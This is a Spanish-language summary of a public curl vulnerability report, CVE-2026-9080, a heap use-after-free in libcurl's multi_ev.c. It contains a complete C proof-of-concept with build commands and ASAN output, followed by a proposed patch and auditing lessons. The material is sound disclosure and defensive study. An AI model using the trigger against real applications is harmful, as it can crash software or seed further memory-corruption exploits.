Reports
BAJA[CORRUPCIÓN DE MEMORIA]#3749204

Use-after-free en curl al llamar a curl_easy_pause() desde el callback de sockets (CVE-2026-9080)

Pausar una transferencia con curl_easy_pause() dentro de CURLMOPT_SOCKETFUNCTION podía liberar la entrada del socket que libcurl seguía escribiendo justo después. Afecta a curl 8.13.0–8.20.0.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El fallo está en lib/multi_ev.c, el código de libcurl que gestiona los sockets en la interfaz multi orientada a eventos. La función mev_sh_entry_update() avisa a la aplicación de que un socket cambia de estado llamando al callback que esta haya registrado con CURLMOPT_SOCKETFUNCTION. Cuando el callback vuelve, la función escribe en la estructura mev_sh_entry que tenía entre manos sin comprobar si sigue existiendo.

El problema aparece si la aplicación llama a curl_easy_pause() dentro de ese callback, algo que la documentación oficial permite expresamente:

"Unlike most other libcurl functions, curl_easy_pause(3) can be used from within callbacks."

curl_easy_pause() vuelve a entrar en la lógica de evaluación de sockets (Curl_multi_ev_assess_xfer() → mev_assess()). Esa ruta no comprueba en ningún momento la marca multi->in_callback: se activa con mev_in_callback(), pero nadie la consulta dentro de multi_ev.c. Si al pausar la recepción la transferencia se queda sin nada que vigilar (no hay que leer y ya no queda nada por enviar), mev_pollset_diff() decide olvidar el socket y la entrada acaba liberada:

mev_pollset_diff() → mev_forget_socket() → mev_sh_entry_kill() → free(entry)

Al volver del callback, mev_sh_entry_update() escribe en memoria ya liberada:

/* lib/multi_ev.c */
mev_in_callback(multi, TRUE);
rc = multi->socket_cb(data, s, comboaction,
                      multi->socket_userp, entry->user_data);  /* fires app callback */
mev_in_callback(multi, FALSE);
entry->announced = TRUE;           /* UAF WRITE — entry may be freed  (line 275) */
if(rc == -1) { ... }
entry->action = (unsigned int)comboaction;                     /* UAF WRITE (line 280) */

Las dos escrituras tienen historia distinta, según el reporte:

  • entry->action (línea 280) es vulnerable desde la reescritura de multi_ev en la versión 8.13.0 (commit cfc657a48d, 2 de abril de 2025).
  • entry->announced (línea 275) se añadió en la 8.16.0 (commit 3d302250ec, 10 de septiembre de 2025). Es la que AddressSanitizer detecta primero: al ser un campo de bits, el compilador genera una lectura seguida de una escritura, y por eso el informe de ASAN habla de un READ of size 1.

Datos del caso:

  • Programa: curl
  • CVE: CVE-2026-9080
  • Debilidad: Use After Free (CWE-416)
  • Severidad asignada: baja
  • Versiones afectadas: de la 8.13.0 a la 8.20.0
  • Enviado: 19 de mayo de 2026. Divulgado: 24 de junio de 2026.

Pasos de reproducción

  1. Compilar libcurl con AddressSanitizer (-fsanitize=address). En el ejemplo del investigador, la biblioteca compilada queda en build-asan/lib.
  1. Guardar como poc_uaf.c el siguiente programa. Es autónomo: levanta un servidor HTTP mínimo en 127.0.0.1 en un hilo propio, registra un callback de sockets y, la primera vez que libcurl pide vigilar lectura (CURL_POLL_IN) sobre el socket de la transferencia, llama a curl_easy_pause(easy, CURLPAUSE_RECV):
/*
 * poc_uaf.c
 *
 * Trigger: call curl_easy_pause(easy, CURLPAUSE_RECV) from inside
 * CURLMOPT_SOCKETFUNCTION.  When the socket transitions from POLL_OUT to
 * POLL_IN (request sent, response pending), pausing recv empties the
 * transfer's poll-set, causing mev_forget_socket() to free the mev_sh_entry
 * that mev_sh_entry_update() is still about to write to.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <curl/curl.h>

static int g_server_port;

static void *server_thread(void *arg)
{
  int lfd = *(int *)arg;
  char buf[4096];
  for(;;) {
    int cfd = accept(lfd, NULL, NULL);
    if(cfd < 0)
      break;
    (void)recv(cfd, buf, sizeof(buf), 0);
    const char *resp =
      "HTTP/1.1 200 OK\r\n"
      "Content-Length: 512\r\n"
      "Connection: close\r\n"
      "\r\n";
    (void)send(cfd, resp, strlen(resp), 0);
    memset(buf, 'X', 512);
    (void)send(cfd, buf, 512, 0);
    close(cfd);
  }
  return NULL;
}

static int start_server(void)
{
  static int lfd;
  lfd = socket(AF_INET, SOCK_STREAM, 0);
  int opt = 1;
  setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
  struct sockaddr_in a = {0};
  a.sin_family      = AF_INET;
  a.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  a.sin_port        = 0;
  bind(lfd, (struct sockaddr *)&a, sizeof(a));
  listen(lfd, 8);
  socklen_t len = sizeof(a);
  getsockname(lfd, (struct sockaddr *)&a, &len);
  g_server_port = ntohs(a.sin_port);
  pthread_t t;
  pthread_create(&t, NULL, server_thread, &lfd);
  pthread_detach(t);
  return lfd;
}

#define MAX_FDS 64

struct ctx {
  CURLM         *multi;
  int            still_running;
  curl_socket_t  fds[MAX_FDS];
  int            actions[MAX_FDS];
  int            nfds;
  int            pause_fired;
  int            iterations;
};

static void fd_add(struct ctx *c, curl_socket_t s, int action)
{
  for(int i = 0; i < c->nfds; i++) {
    if(c->fds[i] == s) { c->actions[i] = action; return; }
  }
  if(c->nfds < MAX_FDS) {
    c->fds[c->nfds]     = s;
    c->actions[c->nfds] = action;
    c->nfds++;
  }
}

static void fd_del(struct ctx *c, curl_socket_t s)
{
  for(int i = 0; i < c->nfds; i++) {
    if(c->fds[i] == s) {
      c->nfds--;
      c->fds[i]     = c->fds[c->nfds];
      c->actions[i] = c->actions[c->nfds];
      return;
    }
  }
}

static int sock_cb(CURL *easy, curl_socket_t s, int what,
                   void *userp, void *socketp)
{
  struct ctx *c = userp;
  (void)socketp;
  if(what == CURL_POLL_REMOVE) { fd_del(c, s); return 0; }
  fd_add(c, s, what);

  if(!c->pause_fired && (what & CURL_POLL_IN)) {
    /*
     * The first POLL_IN may be the multi handle's internal wakeup pipe
     * (admin handle, conn==NULL); curl_easy_pause() returns
     * CURLE_BAD_FUNCTION_ARGUMENT and the re-entrant path is not taken.
     * Leave pause_fired=0 and retry on the next POLL_IN, which will be
     * the actual transfer socket (conn!=NULL).
     */
    CURLcode rc = curl_easy_pause(easy, CURLPAUSE_RECV);
    if(rc == CURLE_OK)
      c->pause_fired = 1;
  }
  return 0;
}

static int timer_cb(CURLM *m, long ms, void *u) { (void)m;(void)ms;(void)u; return 0; }
static size_t write_cb(char *p, size_t sz, size_t n, void *u) { (void)p;(void)u; return sz*n; }

int main(void)
{
  start_server();
  curl_global_init(CURL_GLOBAL_DEFAULT);

  struct ctx c = {0};
  c.multi = curl_multi_init();
  curl_multi_setopt(c.multi, CURLMOPT_SOCKETFUNCTION, sock_cb);
  curl_multi_setopt(c.multi, CURLMOPT_SOCKETDATA,     &c);
  curl_multi_setopt(c.multi, CURLMOPT_TIMERFUNCTION,  timer_cb);
  curl_multi_setopt(c.multi, CURLMOPT_TIMERDATA,      &c);

  CURL *easy = curl_easy_init();
  char url[64];
  snprintf(url, sizeof(url), "http://127.0.0.1:%d/test", g_server_port);
  curl_easy_setopt(easy, CURLOPT_URL,           url);
  curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_cb);
  curl_easy_setopt(easy, CURLOPT_VERBOSE,       0L);

  curl_multi_add_handle(c.multi, easy);
  curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);

  while(c.still_running && c.iterations < 2000) {
    c.iterations++;
    fd_set rfds, wfds;
    FD_ZERO(&rfds); FD_ZERO(&wfds);
    int maxfd = -1;
    for(int i = 0; i < c.nfds; i++) {
      curl_socket_t s = c.fds[i];
      int           a = c.actions[i];
      if(a & CURL_POLL_IN)  { FD_SET(s, &rfds); if((int)s > maxfd) maxfd = s; }
      if(a & CURL_POLL_OUT) { FD_SET(s, &wfds); if((int)s > maxfd) maxfd = s; }
    }
    if(maxfd < 0) {
      usleep(5000);
      curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
      continue;
    }
    struct timeval tv = { .tv_sec = 0, .tv_usec = 50000 };
    int rc = select(maxfd + 1, &rfds, &wfds, NULL, &tv);
    if(rc < 0) { if(errno == EINTR) continue; break; }
    if(rc == 0) {
      curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
      continue;
    }
    curl_socket_t ready_s[MAX_FDS]; int ready_ev[MAX_FDS]; int nready = 0;
    for(int i = 0; i < c.nfds && nready < MAX_FDS; i++) {
      curl_socket_t s = c.fds[i];
      int ev = 0;
      if(FD_ISSET(s, &rfds)) ev |= CURL_CSELECT_IN;
      if(FD_ISSET(s, &wfds)) ev |= CURL_CSELECT_OUT;
      if(ev) { ready_s[nready] = s; ready_ev[nready] = ev; nready++; }
    }
    for(int i = 0; i < nready; i++)
      curl_multi_socket_action(c.multi, ready_s[i], ready_ev[i], &c.still_running);
  }

  curl_multi_remove_handle(c.multi, easy);
  curl_easy_cleanup(easy);
  curl_multi_cleanup(c.multi);
  curl_global_cleanup();
  return 0;
}

Un detalle del callback: el primer CURL_POLL_IN puede corresponder a la tubería interna con la que libcurl despierta al handle multi, no a la transferencia. En ese caso curl_easy_pause() devuelve CURLE_BAD_FUNCTION_ARGUMENT y no se recorre la ruta problemática, así que el programa lo vuelve a intentar con el siguiente CURL_POLL_IN, que ya es el socket real.

  1. Compilarlo contra la libcurl instrumentada y ejecutarlo:
cc -g -fsanitize=address -fno-omit-frame-pointer poc_uaf.c \
    -Iinclude -Ibuild-asan/lib -Lbuild-asan/lib -lcurl-d \
    -Wl,-rpath,$(pwd)/build-asan/lib -o poc_uaf
ASAN_OPTIONS=halt_on_error=1:print_stacktrace=1 ./poc_uaf
  1. Cuando la petición ya se ha enviado y el socket pasa de esperar escritura a esperar lectura, el callback pausa la recepción, la entrada se libera y ASAN se detiene al volver a mev_sh_entry_update(). Fragmento de la salida:
==59330==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b00000342c at pc 0x000100c9bde4 bp 0x00016fb5d390 sp 0x00016fb5d388
READ of size 1 at 0x60b00000342c thread T0
    #0 0x000100c9bde0 in mev_sh_entry_update multi_ev.c:275
    #1 0x000100c99c14 in mev_pollset_diff multi_ev.c:360
    #2 0x000100c97900 in mev_assess multi_ev.c:512
    #3 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
    #4 0x000100c96930 in multi_run_dirty multi.c:3203
    #5 0x000100c84e2c in multi_socket multi.c:3265
    #6 0x000100c851e4 in curl_multi_socket_action multi.c:3445
    #7 0x0001002a1758 in main poc_uaf.c:276

0x60b00000342c is located 92 bytes inside of 104-byte region [0x60b0000033d0,0x60b000003438)
freed by thread T0 here:
    #0 0x000101065424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib)
    #1 0x000100c584c4 in curl_dbg_free memdebug.c:385
    #2 0x000100c98ed4 in mev_sh_entry_dtor multi_ev.c:78
    #3 0x000100bd3b98 in hash_elem_clear_ptr hash.c:129
    #4 0x000100bd43d0 in hash_elem_destroy hash.c:137
    #5 0x000100bd4278 in Curl_hash_delete hash.c:225
    #6 0x000100c9c3d4 in mev_sh_entry_kill multi_ev.c:123
    #7 0x000100c98b08 in mev_forget_socket multi_ev.c:207
    #8 0x000100c9a7d4 in mev_pollset_diff multi_ev.c:420
    #9 0x000100c97900 in mev_assess multi_ev.c:512
   #10 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
   #11 0x000100b942dc in curl_easy_pause easy.c:1183
   #12 0x0001002a2044 in sock_cb poc_uaf.c:181
   #13 0x000100c9bd80 in mev_sh_entry_update multi_ev.c:272
   ...

SUMMARY: AddressSanitizer: heap-use-after-free multi_ev.c:275 in mev_sh_entry_update

La traza de liberación lo deja claro: dentro de mev_sh_entry_update() (línea 272) se llama a sock_cb, este llama a curl_easy_pause() y desde ahí se llega a free() de la misma entrada que se usa en la línea 275.

Impacto

Es un use-after-free en el montículo: libcurl escribe en una zona de memoria de 104 bytes que ya ha liberado (el campo de bits announced y el campo action). Para que ocurra, la aplicación tiene que usar la interfaz multi con callback de sockets (CURLMOPT_SOCKETFUNCTION) y pausar la transferencia desde ese callback, un uso que la documentación permite. El reporte no describe una explotación más allá de la corrupción de memoria detectada por ASAN, y el programa le asignó severidad baja.

Remediación

El investigador propuso volver a buscar la entrada en la tabla hash después del callback en lugar de fiarse del puntero anterior. El descriptor s sigue siendo válido porque es un valor copiado en la pila; lo único que puede haber caducado es el puntero entry, que pertenece a la tabla. Además, la comprobación de rc == -1 se adelanta para que un callback que pide abortar se siga notificando aunque la entrada ya no exista:

--- a/lib/multi_ev.c
+++ b/lib/multi_ev.c
@@ -271,9 +271,14 @@ static CURLMcode mev_sh_entry_update(...)
   mev_in_callback(multi, TRUE);
   rc = multi->socket_cb(data, s, comboaction, multi->socket_userp,
                         entry->user_data);
   mev_in_callback(multi, FALSE);
-  entry->announced = TRUE;
   if(rc == -1) {
     multi->dead = TRUE;
     return CURLM_ABORTED_BY_CALLBACK;
   }
+  /* curl_easy_pause() is documented as callable from any callback; it
+   * re-enters mev_assess() which may free this entry. Re-fetch. */
+  entry = mev_sh_entry_get(&multi->ev.sh_entries, s);
+  if(!entry)
+    return CURLM_OK;
+  entry->announced = TRUE;
   entry->action = (unsigned int)comboaction;
   return CURLM_OK;

El reporte figura como resuelto y se le asignó el CVE-2026-9080. El original no indica en qué versión de curl se publicó la corrección.

Qué aprender de este caso

  • En bibliotecas que llaman a código del usuario, revisa qué hace la función justo después de que el callback vuelva: cualquier puntero a una estructura propiedad de una tabla (aquí entry) puede haberse quedado colgando si el callback tiene permitido volver a entrar en la biblioteca.
  • Cruza la documentación con el código: si una función como curl_easy_pause() se declara "segura dentro de callbacks", busca todos los callbacks desde los que se puede llamar y comprueba que cada ruta de reentrada lo soporta.
  • Una marca del tipo in_callback que se activa pero nunca se consulta es una pista directa: o sobra, o falta una comprobación en algún sitio. Buscar dónde se lee es un buen primer paso al auditar.
  • Al programar, después de un callback vuelve a obtener los objetos por su clave estable (aquí el descriptor s) en lugar de reutilizar punteros guardados antes, y trata el caso de que ya no existan.